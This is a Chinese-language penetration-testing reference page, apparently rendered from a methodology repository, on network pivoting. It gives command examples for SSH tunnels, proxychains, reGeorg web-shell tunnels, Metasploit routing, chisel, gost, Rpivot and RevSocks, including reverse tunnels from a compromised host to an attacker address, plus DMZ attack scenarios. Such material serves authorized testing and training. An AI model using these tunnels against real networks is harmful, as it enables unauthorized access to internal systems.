菜单

网络跳板技术

相关源文件

介绍

网络跳板是一种在渗透测试和红队行动中使用的技术,旨在访问攻击者位置无法直接访问的内部网络段。通过利用一个同时可访问两个网络的受感染系统(跳板),攻击者可以将流量路由通过该系统,以达到原本无法访问的目标。

本文档涵盖了在渗透测试期间实施网络跳板的各种方法和工具。有关跳板后可能执行的 Active Directory 攻击的信息,请参阅Active Directory 攻击方法。有关建立初始访问的信息,请参阅Windows - 使用凭据

基本跳板概念

网络跳板技术通常分为三种基本模式

基本跳板类型图

来源:方法论与资源/网络跳板技术.md:25-28

  1. 监听-监听:攻击者和目标都向跳板机器发起连接(例如,SSH 远程端口转发)
  2. 监听-连接:攻击者连接到跳板,跳板连接到目标(例如,SSH 本地端口转发)
  3. 连接-连接:攻击者通过跳板连接到目标(例如,使用 SOCKS 代理)

SOCKS 代理兼容性

SOCKS 代理是网络跳板中常用的机制。下表显示了哪些工具支持哪些 SOCKS 版本

工具SOCKS4SOCKS4ASOCKS5
SSH
Chisel
reGeorg
Metasploit
ProxyChains
Graftcp
SSHuttle不适用(自定义)不适用(自定义)不适用(自定义)
GOST
Rpivot
RevSocks

来源:方法论与资源/网络跳板技术.md:5

常用跳板技术与工具

跳板工具与连接方法图

来源:方法论与资源/网络跳板技术.md:6-23

Windows netsh 端口转发

Windows 内置的netsh命令允许无需额外工具进行简单的端口转发。

# Listen on local port 8080 and forward to 192.168.1.10:80
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.10

# Show current port forwarding rules
netsh interface portproxy show all

# Delete a port forwarding rule
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

来源:方法论与资源/网络跳板技术.md:6

SSH 隧道

SSH 提供多种隧道方法

SOCKS 代理

在攻击者机器上创建动态 SOCKS 代理,通过 SSH 连接路由流量。

# Create a SOCKS proxy on port 1080
ssh -D 1080 user@pivot_host

# Using with specific applications
curl --proxy socks5://127.0.0.1:1080 http://target_server

来源:方法论与资源/网络跳板技术.md:7-8

本地端口转发

将攻击者机器上的本地端口通过跳板转发到远程目的地。

# Forward local port 8080 to target:80 through pivot_host
ssh -L 8080:target_server:80 user@pivot_host

# Access target_server:80 by connecting to localhost:8080
curl http://:8080

来源:方法论与资源/网络跳板技术.md:9

远程端口转发

将跳板主机上的端口转发到攻击者机器,这在只有跳板能够发起连接时很有用。

# Forward pivot_host:8080 to attacker:80
ssh -R 8080:localhost:80 user@pivot_host

# Someone connecting to pivot_host:8080 will reach attacker:80

来源:方法论与资源/网络跳板技术.md:10

Proxychains

Proxychains 强制应用程序使用 SOCKS 或 HTTP 代理,即使它们没有内置的代理支持。

# Configure /etc/proxychains.conf with your proxy
socks5 127.0.0.1 1080

# Run commands through the proxy
proxychains nmap -sT -Pn 192.168.1.10
proxychains curl http://internal-server

来源:方法论与资源/网络跳板技术.md:11

Graftcp

与 proxychains 类似,但通过在更底层 Hook TCP 连接函数来工作,为某些应用程序提供更好的兼容性。

# Start graftcp with a SOCKS5 proxy
graftcp-local -socks5 127.0.0.1:1080

# Run commands through the proxy
graftcp curl http://internal-server
graftcp nmap -sT internal-server

来源:方法论与资源/网络跳板技术.md:12

基于 Web 的 SOCKS 代理

reGeorg

通过 Web 服务器使用 Web Shell 隧道创建 SOCKS 代理。

# Upload tunnel.aspx/tunnel.php/tunnel.jsp to target web server

# Start the SOCKS proxy on attacker machine
python reGeorgSocksProxy.py -u http://compromised-server/tunnel.aspx -p 8080

# Use the proxy (default: 127.0.0.1:8080)
proxychains curl http://internal-target

来源:方法论与资源/网络跳板技术.md:13

pivotnacci

与 reGeorg 类似,但具有额外的身份验证和加密功能。

# Upload pivotnacci web shell to compromised web server

# Start the SOCKS proxy
python pivotnacci.py --url http://compromised-server/pivot.php --password secret

# Use the proxy with proxychains

来源:方法论与资源/网络跳板技术.md:14

Metasploit

Metasploit 通过其路由和 SOCKS 代理模块提供跳板功能。

# After getting a Meterpreter session
meterpreter > run autoroute -s 192.168.1.0/24

# Start a SOCKS proxy
msf > use auxiliary/server/socks_proxy
msf > set SRVPORT 1080
msf > set VERSION 5
msf > run

# Use the proxy with other tools
proxychains nmap -sT 192.168.1.10

来源:方法论与资源/网络跳板技术.md:15

sshuttle

一种透明代理,通过 SSH 连接路由,无需管理员权限即可像 VPN 一样工作。

# Route 10.0.0.0/24 through the pivot_host
sshuttle -r user@pivot_host 10.0.0.0/24

# Route all traffic except to the pivot
sshuttle -r user@pivot_host 0.0.0.0/0 -x pivot_host

来源:方法论与资源/网络跳板技术.md:16

chisel

一个通过 HTTP 传输的快速 TCP/UDP 隧道,支持 SOCKS 代理。

# Server (attacker)
./chisel server -p 8080 --reverse

# Client (pivot)
./chisel client attacker_ip:8080 R:socks

# Client (forward local port to remote service)
./chisel client attacker_ip:8080 R:3306:internal_db_server:3306

SharpChisel

chisel 的 .NET 封装,在 Windows 环境中,当运行二进制文件可能受限时很有用。

来源:方法论与资源/网络跳板技术.md:17-18

gost

一个用 Go 编写的多功能安全隧道。

# Create a SOCKS5 server on the pivot
./gost -L=socks5://:1080

# Forward local port 8080 to remote 80
./gost -L=tcp://:8080/remote_host:80

# Chain multiple proxies
./gost -L=:8080 -F=socks5://pivot1:1080 -F=socks5://pivot2:1080

来源:方法论与资源/网络跳板技术.md:19

Rpivot

反向 SOCKS 代理,适用于只允许出站连接的场景。

# Server (attacker)
python server.py --proxy-port 1080 --server-port 9000

# Client (pivot)
python client.py --server-ip attacker_ip --server-port 9000

来源:方法论与资源/网络跳板技术.md:20

RevSocks

与 Rpivot 类似,但带有加密功能。

# Generate certificates
./revsocks --keygen

# Server (attacker)
./revsocks --server --listen 0.0.0.0:8443 --cert cert.pem --key key.pem

# Client (pivot)
./revsocks --connect attacker_ip:8443 --cert cert.pem --key key.pem --socks 127.0.0.1:1080

来源:方法论与资源/网络跳板技术.md:21

PuTTY 的命令行连接工具,适用于 Windows 系统。

# Create a remote port forward
plink.exe -ssh -R 8080:localhost:80 user@attacker_ip

# Create a SOCKS proxy
plink.exe -ssh -D 1080 user@attacker_ip

来源:方法论与资源/网络跳板技术.md:22

ngrok

创建到本地主机的安全隧道,可以绕过防火墙和 NAT。

# Forward local port 80 to ngrok cloud
./ngrok http 80

# Forward TCP with custom subdomain
./ngrok tcp 22 --subdomain=myserver

来源:方法论与资源/网络跳板技术.md:23

使用内置工具捕获网络跟踪

在执行跳板操作期间,监控流量可以提供有价值的见解。

Windows

# Capture packets on interface 4, save to file
netsh trace start capture=yes tracefile=c:\temp\trace.etl maxsize=1024 filemode=circular overwrite=yes report=yes correlation=yes

# Stop the trace
netsh trace stop

# Convert to readable format
netsh trace convert input=c:\temp\trace.etl output=c:\temp\trace.txt

Linux

# Capture packets on interface eth0
tcpdump -i eth0 -w /tmp/capture.pcap

# Review captured traffic
tcpdump -r /tmp/capture.pcap

来源:方法论与资源/网络跳板技术.md:24

实际跳板场景

场景 1:从 DMZ 访问内部网络

  1. 攻陷 DMZ 中的 Web 服务器并获取 SSH 访问权限
  2. 设置 SSH 动态端口转发:ssh -D 1080 user@dmz_server
  3. 配置 proxychains 以使用 SOCKS 代理
  4. 扫描内部网络:proxychains nmap -sT 10.0.0.0/24
  5. 访问内部服务:proxychains curl http://10.0.0.10

场景 2:通过受限环境进行跳板

  1. 攻陷一个有出站连接限制的 Web 服务器
  2. 将 reGeorg 隧道上传到 Web 服务器
  3. 启动 SOCKS 代理:python reGeorgSocksProxy.py -u http://restricted-server/tunnel.aspx
  4. 使用 SOCKS 代理访问内部资源

场景 3:多个跳板点

  1. 使用 chisel 建立初始跳板
  2. 设置 gost 以通过多个内部网络进行链式连接
  3. 配置 proxychains 以实现多跳代理
  4. 访问深层嵌套的内部资源

安全考量

在授权渗透测试期间执行网络跳板时

  1. 记录所有建立的跳板点和隧道
  2. 尽可能使用带加密的安全隧道方法
  3. 测试完成后移除所有植入物和隧道
  4. 监控带宽使用情况以避免干扰正常操作
  5. 考虑跨越网络边界的法律影响

来源:方法论与资源/网络跳板技术.md:25-29